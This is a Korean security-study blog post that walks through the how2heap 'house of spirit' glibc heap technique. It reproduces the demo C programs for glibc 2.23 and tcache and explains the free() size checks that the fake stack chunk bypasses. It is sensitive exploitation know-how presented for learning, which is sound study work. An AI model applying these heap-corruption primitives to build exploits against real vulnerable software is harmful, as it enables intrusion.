e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (7)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • dreamhack.io
  • how2heap
  • rev-basic
  • X86
  • 1-day
  • BOF
  • x64
  • wargame
  • Heap
  • dvwa

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[how2heap] house_of_spirit

2023. 8. 17. 20:41

Index

house_of_spirit.c (glibc 2.23)
Analyze with GDB
tcache house of spirit (glibc 2.26~)

house of spirit 기법에 대해 정리해볼 것이다. 이 기법은 fastbin chunk 크기의 fake cunk를 해제하여 bin에 삽입하는 공격이다.

house_of_spirit.c (glibc 2.23)

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

	fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
	unsigned long long *a;
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

	fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

	fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size

	fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
	fake_chunks[9] = 0x1234; // nextsize

	fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
	a = &fake_chunks[2];

	fprintf(stderr, "Freeing the overwritten pointer.\n");
	free(a);

	fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

예제 코드는 간단하다. 스택에 fake_chunk를 구성하고, chunk의 mem 주소를 free시키면 fastbin에 stack 주소가 들어가고, 재할당 시 스택 영역의 공간을 할당 받는다.

Analyze with GDB

fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

malloc 호출을 통해서 프로세스에 힙 영역을 할당한다.

malloc(1);이 실행되기 전 맵핑된 메모리 상태이다.

malloc(1);이 실행된 후, 맵핑된 메모리 상태이다.

chunk도 잘 할당된 상태이다.

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

우리가 fastbin에 넣을 fake chunk(size : 90byte)를 구성한다.

첫번째 chunk의 size는 fake_chunks[1]에 구성되며 두번째 chunk의 size는 fake_chunk[9]에 구성된다.

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

따라서 첫번째 chunk size에는 0x40(64byte)를 넣어주고, 두번째 chunk size의 값은 >2*SIZE_SZ AND < av→system_mem(128kb by default for the main arena) 이여야 한다.

_int_free 함수 next size 검증 우회

// malloc.c : line 3897 (glibc 2.23)
if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0))
{
	if (have_lock || ({
			assert(locked == 0);
			mutex_lock(&av->mutex);
			locked = 1;
			chunk_at_offset(p, size)->size <= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem;
		}))
	{
		errstr = "free(): invalid next size (fast)";
		goto errout;
	}
	if (!have_lock)
	{
		(void)mutex_unlock(&av->mutex);
		locked = 0;
	}
}

free(): invalid next size (fast)를 우회하기 위해서 두번째 fake chunk의 size를 넣어주는 것이다. 따라서, 이를 고려하여 스택 영역에 fake chunk를 구성한 사진은 다음과 같다.

unsigned long long *a;
...
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

이후 첫번째 fake chunk의 mem주소를 포인터 변수 a에 넣고 free한다.

fastbin에 0x7fffffffe2d8이 들어간 것을 볼 수 있다. 이후 malloc(0x30)을 하면 해당 fastbin에서 fake chunk의 주소로 스택 영역을 할당한다.

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));

malloc(0x30)을 호출하면 반환 주소가 앞서 fastbin에 넣어두었던 주소(0x7fffffffe2d8)임을 확인할 수 있다.


tcache house of spirit (glibc 2.26~)

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates the house of spirit attack on tcache.\n");
	printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
	printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
	printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

	printf("Ok. Let's start with the example!.\n\n");


	printf("Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
	unsigned long long *a; //pointer that will be overwritten
	unsigned long long fake_chunks[10]; //fake chunk region

	printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

	printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size


	printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

	a = &fake_chunks[2];

	printf("Freeing the overwritten pointer.\n");
	free(a);

	printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	void *b = malloc(0x30);
	printf("malloc(0x30): %p\n", b);

	assert((long)b == (long)&fake_chunks[2]);
}

앞선 glibc 2.23 코드와 비슷하지만, fake_chunk[9]=0x1234 부분이 없다.

_int_free 함수의 fastbin의 next size 검증 로직 전에 tcache bin을 사용 코드가 있기 때문에, tcache bin을 이용한 house of spirit은 fake chunk에 next size를 고려하지 않아도 된다.


Uploaded by N2T

    'Pwnable' 카테고리의 다른 글
    • [dreamhack] Heap Basic 1 문제 풀이
    • [Dreamhack] note 문제 풀이
    • [how2heap] unsafe_unlink
    • [how2heap] fastbin_dup_consolidate
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바